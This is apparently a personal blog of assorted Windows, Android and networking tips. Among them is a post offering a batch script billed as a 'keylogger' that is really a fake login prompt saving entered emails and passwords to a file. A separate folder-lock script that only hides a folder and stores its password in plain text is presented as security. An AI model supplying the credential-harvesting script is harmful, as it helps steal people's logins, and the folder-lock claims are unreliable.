WINDOWS 8.1 COOL FEATURES

WINDOWS 8.1 COOL FEATURES

AJAY.E

START BUTTON IS BACK!!!!!!!!!!!!!!!!!!!!!!!

1. Turn the Start screen into an app launcher

  It can be difficult to find the app you need from the Windows 8 Start screen, because tiles take up so much of the screen. There is, however, a way to turn the Start screen into a useful app launcher. On the desktop right-click the taskbar and select 'Properties', then click the 'Navigation' tab. In the Start screen section, tick the box next to 'Show the apps view automatically when I go to Start'. From now on, when you go to the Start screen you'll see a list of all your apps rather than those big tiles.

2. Boot to desktop

   Plenty of people have little or no use for the Start screen, but in the past this has been the default lamding page when you boot up your PC. Now Windows 8.1 offers the option to go straight to the desktop when you log in. On the desktop right-click the taskbar and select 'Properties', then click the 'Navigation' tab. In the Start screen section, tick the box next to "When I sign in or close all apps on a screen, go to the desktop instead of Start." From now on, when you log into Windows, you'll go straight to the desktop.

3. Open the Metro version of Internet Explorer 11 in multiple windows

   One of the better known features of Windows 8 is the Snap action, that allows you to run two apps side-by-side. With Windows 8.1 you can also run two instances of IE11 in multiple Snapped windows. However, Snapping one instance of IE11 to one side of the screen and then attempting to open a second instance doesn't work. You have to open multiple tabs in one window, and then press and hold or right-click one of them and select 'Open tab in new window'. Unfortunately other apps don't appear to offer multi-window capabilities.

4. Shut down from the Start button

   The Start button is back, but the Start menu is not, meaning that you still need to go through several steps involving the charm bar if you want to shut down your PC. Alternatively, right-clicking the Start button brings up an array of menu options, including quick links to functions like Disk Management and Command Prompt tools. With Windows 8.1, this menu includes a 'Shut Down' option, and hovering over it also gives you the option to restart your PC, removing the need to return to Metro mode.

5. Quiet hours

  With Windows 8, Microsoft meshes several desktop and mobile features. One of those mobile features is app notifications, which pop up with a sound when you get a message. These can be useful during the day, but it can get annoying if your laptop is pinging away through the night. Windows 8.1 adds a Quiet Hours setting that lets you silence notifications for specific times of the day. Access this setting by opening the 'Settings' charm, navigating to 'Change PC Settings' followed by 'Search and apps' and 'Notifications'.

6. IE11 Reading View

  Reading View strips the clutter and advertisements from the article you are reading and presents the information in a pleasant, horizontally scrolling format. To enable Reading View, just click the open-book icon on the right side of IE11's address bar. Reading View also appears integrates with the new Reading List app in Windows 8.1, so when you bookmark an article with this app from IE11, it will display in Reading Mode later.

7. Hands-free mode

  One of Windows 8.1's coolest features is buried deep in the new Food & Drink app, which is full of all manner of delectable recipes. However, when you're making cake and your hands are all covered in butter and flour, it may not seem like the best moment to be using a touchscreen. Fear not, because Windows 8.1 has a hands-free mode, which lets you flip through the steps of the recipe by waving your hand in front of your device's webcam.

New Features of ANDROID Jelly Bean 4.3

New Features of ANDROID Jelly Bean 4.3

By

Ajay.E

 

  ആന്‍ഡ്രോയിഡ് ജെല്ലി ബീന്‍ പതിപ്പ് 4.2മായി താരതമ്യം ചെയ്യുമ്പോള്‍ കാര്യമായ മാറ്റങ്ങള്‍ ഒന്നും പുതിയ പതിപ്പായ 4.3ല്‍ ഇല്ല. പക്ഷേ ഉപഭോക്താക്കള്‍ക്കും, ആന്‍ഡ്രോയിഡ് പ്രോഗ്രാമ്മര്‍സിനും ഗുണകരമായ പല മാറ്റങ്ങളും ഈ പുതിയ പതിപ്പില്‍ ഉണ്ട്.

1. മള്‍ട്ടി യൂസര്‍ റെസ്ട്രിക്റ്റഡ് പ്രൊഫൈല്‍
   ഈ പുതിയ സവിശേഷത വഴി ഒന്നില്‍ കൂടുതല്‍ യൂസര്‍ അക്കൗണ്ട്‌ ഉണ്ടാക്കാം, മാത്രമല്ല ഉണ്ടാക്കിയ പുതിയ യൂസര്‍ അക്കൗണ്ടിറിന്റെ ഫോണിലെ പ്രവര്‍ത്തികള്‍ അഡ്മിന്‍ അക്കൗണ്ടിന് പരിമിതിപെടുത്താം. അതായത് ഏതൊക്കെ ആപ്പ്സ് ഉപയോഗിക്കാം, ആപ്പ്സ് ഇന്‍സ്റ്റോള്‍ ചെയുന്നത് തുടങ്ങിയ കാര്യങ്ങള്ളില്‍ അഡ്മിന്‍ യൂസര്‍ക്ക് നിയന്ത്രണം ഏര്‍പെടുത്താം. രക്ഷിതാക്കള്‍ക്ക് കുട്ടികള്‍ അവരുടെ ഫോണിലും, ടാബിലും എന്തൊക്കെ ചെയ്യാം എന്നതില്‍ നിയന്ത്രണം ഏര്‍പെടുത്താം. എന്റര്‍പ്രൈസസ് ലെവലിലും മള്‍ട്ടി യൂസര്‍ റെസ്ട്രിക്റ്റഡ് പ്രൊഫൈല്‍ കൊണ്ട് പല ഉപയോഗങ്ങളും ഉണ്ട്.
2. ബ്ലൂടൂത്ത് സ്മാര്‍ട്ട്‌
   ബ്ലൂടൂത്ത് സ്മാര്‍ട്ട്‌ ഫീച്ചര്‍ വഴി ബ്ലൂടൂത്ത് കണക്ടിവിറ്റിക്കായി കുറച്ച് എനര്‍ജി മാത്രമേ ഉപയോഗിക്കൂ. അതുകൊണ്ട് ബ്ലൂടൂത്ത് ആക്സസറികള്‍ ഉപയോഗിക്കുമ്പോള്‍ കുറച്ച് എനര്‍ജി മാത്രമേ ചിലവാകൂ. അങ്ങനെ ബാറ്ററിയിലെ ചാര്‍ജ് കൂടുതല്‍ നേരം നീണ്ടു നില്‍ക്കും. ബ്ലൂടൂത്ത് എവിസിആര്‍പി 1.3 സപ്പോര്‍ട്ടും ഉണ്ട്.
3. ഓപ്പണ്‍ജിഎല്‍ (OpenGL|ES 3.0)
   ആന്‍ഡ്രോയിഡ് ഒഎസ് ഗെയിമം ഡെവലപ്പേര്‍സിന് വളരെ വലിയ ഒരു ഫീച്ചര്‍ ആണിത്. ഇത് വഴി വളരെ മേന്‍മയേറിയ ഗ്രാഫിക്സ് ഗെയിമുകളില്‍ ഉള്‍പെടുത്താന്‍ കഴിയും. ഒരു മൊബൈല്‍ ഫോണ്‍ ഒഎസ്സില്‍ ആദ്യമായാണ് OpenGL|ES 3.0 ടെക്നോളജി ഉപയോഗിക്കുന്നത്. ഇത് വഴി ആന്‍ഡ്രോയിഡ് ഗെയിമിങ്ങിന്റെ ഒരു പുതിയ യുഗം ആണ് ഗൂഗിള്‍ തുടങ്ങിയിരിക്കുന്നത്.
4. ഡിആര്‍എം എപിഐ(DRM API) വഴി 1808P HD സ്ട്രീമിങ്ങ്
   ഡിആര്‍എം എപിഐ പുതിയ ഗൂഗിള്‍ ലൈബ്രറി വഴി HD വീഡിയോ സ്ട്രീമിങ്ങ് സാധ്യമാകുന്നു. മാത്രമല്ല വീഡിയോ കോപ്പിചെയുന്നതില്‍ നിന്ന് സുരക്ഷിതമാക്കാനും കഴിയും. നെറ്റ്ഫ്ലിക്സ് അവരുടെ പുതിയ ആന്‍ഡ്രോയിഡ് ആപ്പ് വഴി 1808p എച്ഡി വീഡിയോ സ്ട്രീമിങ്ങ് നല്‍കുന്നുണ്ട്. ഗൂഗിലിന്റെ നെക്സസ് ടാബിന് ആണ് ഈ ആപ്പ് ആദ്യം ലഭ്യമാവുക.
5. വളരെ വേഗത്തില്‍ യൂസര്‍അക്കൗണ്ട്‌ മാറ്റം.
6. എളുപ്പത്തില്‍ ടെക്സ്റ്റ്‌ ടൈപ്പ് ചെയ്യാം.
7. പുതിയ സവിശേഷതകളോട് കൂടിയ ക്യാമറ ആപ്പ്.
8. നവീകരിച്ച ഗൂഗിള്‍ സെര്‍ച്ച്‌.
9. നവീകരിച്ച നോട്ടിഫിക്കേഷന്‍ സിസ്റ്റം.
10. ഓട്ടോ കമ്പ്ലീറ്റ്‌ ഉള്ള ഡയല്‍ പാഡ്.
11. വൈഫൈ വഴി ലോക്കേഷന്‍ തിരിച്ചറിയാം. ഇതിനുവേണ്ടി വിഫൈ എപ്പോളും ഓണ്‍ ചെയ്തു വെക്കേണ്ട.
12. ഹിന്ദി, ആഫ്രികന്‍സ്‌, സ്വാഹിലി എന്നീ ഭാഷകളില്‍ ഈ ആന്‍ഡ്രോയിഡ് ഉപയോഗിക്കാം.
13. ഹീബ്രു, അറബി തുടങ്ങിയ വലത്ത് നിന്ന് ഇടത്തോട്ട് എഴുതുന്ന ഭാഷ ഹോം സ്ക്രീനില്‍ സപ്പോര്‍ട്ട് ചെയ്യും.

How to Schedule Auto-Shutdown in Windows 7

How to Schedule Auto-Shutdown in Windows 7

Ajay. E

   Suppose, your antivirus software is scanning your computer or you are downloading or installing a program. You know that it will take some time but you cannot wait for it to finish, so you can shutdown your computer. This is where a program called Auto-Shutdown comes in. You just set the time at which you want your computer to shutdown and it will shutdown automatically at your chosen time. It is a very useful program and is very easy to make. You don't need to install any additional software. Basically, we are going to use Task Scheduler for this purpose.

    Here is the step-by-step guide on how to set up auto-shutdown in Windows 7.

1. Go to start menu and open Control Panel.
2. Click on Administrative Tools.
3. You will see many options. Click on Task Scheduler.
4. Click on Create Basic Task in the right-hand pane.
5. Write a suitable task name and description. For example, Name: Auto Shutdown. Description: Shutdown my computer automatically at 1:30 am.
6. Click next. Task Trigger screen will open.
7. Choose the number of times you want this task to take place.
For example: If you choose daily, your computer will shutdown daily at 1:30 am. Similarly, if you choose weekly or monthly, your computer will shutdown automatically at 1:30 am every week or month.
I want to shutdown windows just once, so I'll choose One time. However, you should choose the option according to your needs.
Now, click next and choose the time and date for your computer to shutdown automatically and click next.
8. Choose Start a Program and then, click next.
9. Type C:\Windows\System32\Shutdown.exe in the Program/script and type /s in Add arguments and click next.
10. Review your information and click Finish. You're almost done!
11. After clicking Finish, the Task Scheduler window should open again. Now we'll just check our task. Keep scrolling down, till you find the Auto Shutdown Task. You're done! Your computer should Shutdown at the mentioned time and day.

 

 

How to: make a simple keylogger in notepad

Ajay.E

WARNING !!!!!!!!!!!!!

        I am not responsible for any trouble you may get into with this. For educational purposes only. The code we will be using is a simple Batch code.Pastebin makes it easy to give codes to people.

1.) Now paste that into Notepad and save it as a Logger.bat file.

2.) Make a new folder on the desktop and name it Logs (If the folder is not called Logs, then it will not work.

3.) Drag that folder in to the C:\

4.) Test out the Logger.bat!

5.) Alright, now once you test it, you will go back into the Logs folder in the C:\And a .txt file will be in there, [if you make a second entry, the .txt file will overwrite itself.]

Keylogger Code

@echo off
color a
title Login
cls
echo Please Enter Email Adress And Password
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >Log.txt
start >>Program Here<<
exit
 
RAW Paste Data  


@echo off
color a
title Login
cls
echo Please Enter Email Adress And Password
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >Log.txt
start >>Program Here<<
exit

 

How does Windows tune your LCD for top text legibility?

Let Windows tune your LCD for top text legibility

Ajay.E

        Windows 7 is the first Windows OS for which, at its introduction, LCD monitors have truly been the overwhelming display standard. (They were well on their way at the time of Vista’s introduction, but the trend has accelerated with the ascendancy of laptops and the wholesale move to LCDs on desktop PCs.) The new OS includes a dedicated LCD-tweaking wizard that lets you improve the look of text on your screen. It’s called the ClearType Text Tuner (CTTT).

    You access CTTT from the Windows Control Panel; click on the Display item, and, in the resulting dialog, click on Adjust ClearType text. That will launch the wizard. Make sure on the first screen that the box next to Turn on ClearType is checked, and follow the prompts. Windows 7 will first check that your monitor or monitors are running at their native resolutions. (Native resolution generally delivers the best possible text legibility.) Then, it will take you through some comparisons reminiscent of a vision test at the eye doctor. The wizard runs a series of visual tests, asking you which block of text looks clearer to you, like this:

 

       When you’re done, chances are you’ll see a noticeable difference in text quality. After you’ve run CTTT, you may wish to return to the Display Control Panel and tweak the size of default Windows text. Under the subhead Make it easier to read what’s on your screen, try tweaking the setting from Smaller to Medium or Larger if that’s more comfortable for you. If you do indeed decide to change the default text size, however, we recommend running CTTT again so your screen is optimized for the new size.

How to Pin frequently used files or folders to taskbar program icons

Pin frequently used files or folders to taskbar program icons (Jump Lists) 

Ajay.E 

      Windows 7’s taskbar rethink means that a large number of the tips and tweaks here involve this thin bit of real estate, but here’s another taskbar-related tidbit that’s nonetheless invaluable. It’s been possible to set up shortcuts to frequently used files or folders on the Windows Desktop for ages, of course, but accessing them requires minimizing or otherwise moving around windows to uncover them. Windows 7, however, allows you to “pin” files or folders you use often onto relevant program icons in the taskbar for easy access, always keeping them above the desktop-window fray.
For example, say you often work with a spreadsheet file called “TAXES.XLS” in Excel. Launch Excel, then find the file “TAXES.XLS.” Left-click or right-click on the file itself, then drag it onto the Excel taskbar program icon. You should see a message to “Pin to Microsoft Excel”; when you do, release the mouse button.
The file will be added to what Windows 7 calls a Jump List, a list of frequently accessed files, folders, and actions that you can get to right from the taskbar via the program’s icon. Here's a sample Jump List for Microsoft Word:

For a Jump List to be at hand, the program needs to have been launched, however—or its icon permanently pinned to the taskbar

How To Shutting down Windows 8 Quick and Easy

Shutting down Windows 8 Quick and Easy

Ajay.E

        To shut Windows 8 down, just move the mouse cursor to the bottom right corner of the screen, click the Settings icon - or just hold down the Windows key and press I - and you'll see a power button. Click this and choose 'Shut Down' or 'Restart'.

      Some of the tricks available in previous versions of Windows still apply. Press Ctrl+Alt+Del, for instance, click the power button in the bottom right-hand corner and you'll be presented with the same 'Shut Down' and 'Restart' options.

        And if you're on the desktop, press Alt+F4 and you'll be able to choose 'Shut Down', 'Restart', 'Sign Out' or 'Switch User' options.

How to switch your default printer automatically?

Automatically switch your default printer

Ajay.E

   Windows 7's location-aware printing allows the operating system to automatically switch your default printer as you move from one network to another.

     To set this up, first click Start, type Devices, and click the Devices and Printers link.

     Select a printer and click Manage Default Printers (this is only visible on a mobile device, like a laptop - you won't see it on a PC).

    Choose the "Change my default printer when I change networks" option, select a network, the default printer you'd like to use, and click Add.

      Repeat the process for other networks available, and pick a default printer for each one.

     And now, as you connect to a new network, Windows 7 will check this list and set the default printer to the one that you've defined.

YOU CAN USE YOUR MOBILE CAM (ANDROID) AS CCTV

YOU CAN USE YOUR MOBILE CAM (ANDROID) AS CCTV

AJAY.E

     Today most of us use CCTV/IP Cam to protect our establishments from thief's. But it is very expensive. the cheapest way is that use your android as CCTV. download "IP WEBCAM" from Google Play Store and install it in your mobile. then use it and relaxxxxxxxxxxxxxx!!!!!!!!!!!

 .

Password Protect Any Folder Without Any Software

Password Protect Any Folder Without Any Software

 Ajay.E

 

 

 

   1. Open Notepad and Copy code given below into it.

cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== coolhacks goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End

   2. Save the notepad file as lock.bat (.bat is must)

   3. Now double click on lock.bat and a new folder will be created with name MyFolder

   4. Copy all your data you want to protect in that New folder

   5. Now double click on lock.bat and when command promp appears Type Y and press enter.

   6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat

   7. It will ask for password enter your password and done. (Default password is coolhacks)

• To change the password replace coolhacks with  new password in the above code

  How To Further Secure ?

  You might be thinking that anyone can access the password by opening that lock.bat file in Notepad or any other text editor. To make it more secure hide lock.bat in some secure location after following the above tutorial To access the secured file double click on lock.bat. I would suggest copying lock.bat file into Pendrive and copying it into your computer whenever you required to access to your protected files.

 

 

 

COMPUTER TIPS and TRICKS: Mozilla Firefox shortcut keys

COMPUTER TIPS and TRICKS: Mozilla Firefox shortcut keys: Mozilla Firefox shortcut keys Ajay.E     Below is a listing of all the major shortcut keys in Mozilla Firefox. Sh...

COMPUTER TIPS and TRICKS: Mozilla Firefox shortcut keys

COMPUTER TIPS and TRICKS: Mozilla Firefox shortcut keys: Mozilla Firefox shortcut keys Ajay.E     Below is a listing of all the major shortcut keys in Mozilla Firefox. Sh...

Mozilla Firefox shortcut keys

Ajay.E

    Below is a listing of all the major shortcut keys in Mozilla Firefox.

Shortcut Keys	Description
Alt + Home	Open your Home page.
Alt + Left Arrow	Back a page.
Alt + Right Arrow	Forward a page.
F5	Refresh current page, frame, or tab.
F11	Display the current website in full screen mode. Pressing F11 again will exit this mode.
Esc	Stop page or download from loading.
Ctrl + (- or +)	Increase or decrease the font size, pressing '-' will decrease and '+' will increase. Ctrl + 0 will reset back to default.
Ctrl + Enter	Quickly complete an address. For example, type google in the address bar and press CTRL + ENTER to get http://google.com/
Ctrl + Shift + Del	Open the Clear Data window to quickly clear private data.
Ctrl + D	Add a bookmark for the page currently opened.
Ctrl + I	Display available bookmarks.
Ctrl + J	Display the download window.
Ctrl + K or Ctrl + E	Move the cursor to the search box.
Ctrl + N	Open New browser window.
Ctrl + P	Print current page or frame.
Ctrl + T	Opens a new tab.
Ctrl + F4 or Ctrl + W	Closes the currently selected tab.
Ctrl + Shift + T	Undo the close of a window.
Ctrl + Tab	Moves through each of the open tabs.
Spacebar	Moves down a page at a time.
Shift + Spacebar	Moves up a page at a time.
Alt + Down arrow	Display all previous text entered in a text box and available options on drop down menu.

IP v 6 Address (Version 6)

IP v 6 Address (Version 6)

Ajay.E

Internet Protocol version 6 (IPv6) is the latest revision of the Internet Protocol (IP), the communications protocol that provides an identification and location system for computers on networks and routes traffic across the Internet. IPv6 was developed by the IETF (Internet Engineering Task Force) to deal with the long-anticipated problem of IPv4 address exhaustion.

IPv6 is intended to replace IPv4, which still carries the vast majority of Internet traffic as of 2013. As of late November 2012, IPv6 traffic share was reported to be approaching 1%.

Every device on the Internet must be assigned an IP address in order to communicate with other devices. With the ever-increasing number of new devices being connected to the Internet, the need arose for more addresses than IPv4 is able to accommodate. IPv6 uses a 128-bit address, allowing 2¹²⁸, or approximately 3.4×10³⁸ addresses, or more than 7.9×10²⁸ times as many as IPv4, which uses 32-bit addresses. IPv4 allows only approximately 4.3 billion addresses. The two protocols are not designed to be interoperable, complicating the transition to IPv6.

IPv6 addresses are represented as eight groups of four hexadecimal digits separated by colons, for example 2001:0db8:85a3:0042:1000:8a2e:0370:7334, but methods of abbreviation of this full notation exist.

Technical Overview

IPv6 is an Internet Layer protocol for packet-switched internetworking and provides end-to-end datagram transmission across multiple IP networks, closely adhering to the design principles developed in the previous version of the protocol, Internet Protocol Version 4 (IPv4). IPv6 was first formally described in Internet standard document RFC 2460, published in December 1998. In addition to offering more addresses, IPv6 also implements features not present in IPv4. It simplifies aspects of address assignment (stateless address auto configuration) network renumbering and router announcements when changing network connectivity providers. It simplifies processing of packets by routers by placing the need for packet fragmentation into the end points.   

The IPv6 subnet size is standardized by fixing the size of the host identifier portion of an address to 64 bits to facilitate an automatic mechanism for forming the host identifier from link layer addressing information (MAC address). Network security was a design requirement of the IPv6 architecture, and included the original specification of IP sec.

IPv6 does not specify interoperability features with IPv4, but essentially creates a parallel, independent network. Exchanging traffic between the two networks requires translator gateways or other transition technologies, such as the tunneling protocols 6to4, 6in4, and Teredo.

How To Enable Search privacy option in Windows 7

Search privacy

 Ajay,E

      By default Windows 7 will remember your PC search queries, and display the most recent examples when searching in Windows Explorer. If you're sharing a PC and don't want everyone to see your searches, then launch GPEDIT.MSC, go to User Configuration > Administrative Templates > Windows Components > Windows Explorer, double-click "Turn off display of recent search entries..." and click Enabled > OK.

How to Take Control Your KID's User Account

Take control

Ajay.E

     

         Tired of the kids installing dubious software or running applications you'd rather they left alone? AppLocker is a new Windows 7 feature that ensures users can only run the programs you specify. Don't worry, that's easier to set up than it sounds: you can create a rule to allow everything signed by a particular publisher, so choose Microsoft, say, and that one rule will let you run all signed Microsoft applications. Launch GPEDIT.MSC and go to Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker to get a feel for how this works.

IP v 4 Address (Version 4)

IP v 4 Address (Version 4)
Ajay, E

                 
                     TCP/IP provides a unique logical addressing scheme called IP address. It uniquely identifies each device on the internetwork. It is a 32 bit address commonly written as four octets. Each octet have a value ranging from 0-255. Eg:- 10.0.0.1

IP Address Classes

                IP addresses are divided into 5 classes and each ip address contains two parts. The first portion is for network address and second portion for host address. The IP classes and network numbers.

A CLASS – 1.0.0.1  to 126.255.255.255         INTERNETWORK

B CLASS – 128.0.0.1 to 191.255.255.255                     “

C CLASS – 192.0.0.1 to 223.255.255.255                     “             

D CLASS – 224.0.0.1 to 239 .255.255.255    MULTICASTING

E CLASS – 240.0.0.1 TO 255.255.255.255     RESEARCH AND EXPERIMENTS

Class A, B and C are used for internetwork communication. Class D is reserved for multicasting technology and Class E for research and experiments. 127 range of ip address are called loop back address and it is used for checking proper functionality TCP/IP protocol.

SUBNET MASK

                Subnet mask is another 32 bit representation. It is used to identify the network portion of an ip address. By default the following subnet mask are used.

CLASS A

NETWORK  (255)

HOST (O)

HOST (O)

HOST (O)

CLASS B

NETWORK (255)

NETWORK (255)

HOST (0)

HOST (0)

CLASS C

NETWORK (255)

NETWORK (255)

NETWORK (255)

HOST (0)

Note:-    All host bits ‘0’ is network Address

All host bits ‘1’ is Broadcast Address.

Private and Public IP Address

                An intranet is an internal network that uses internet technology. IP addresses which are used in intranet are called Private IP address.

                To communicate over an internet a device must have a Public IP address which is provided by IANA (Internet Assigned Number Authority). They will also provide addresses for private addresses for private network in each class as follows.

Private Address Range in each Class

Class A                    10.0.0.0 – 10.255.255.255

Class B                    172.16.0.0 – 172.31.255.255

Class C                    192.168.0.0 – 192.168.255.255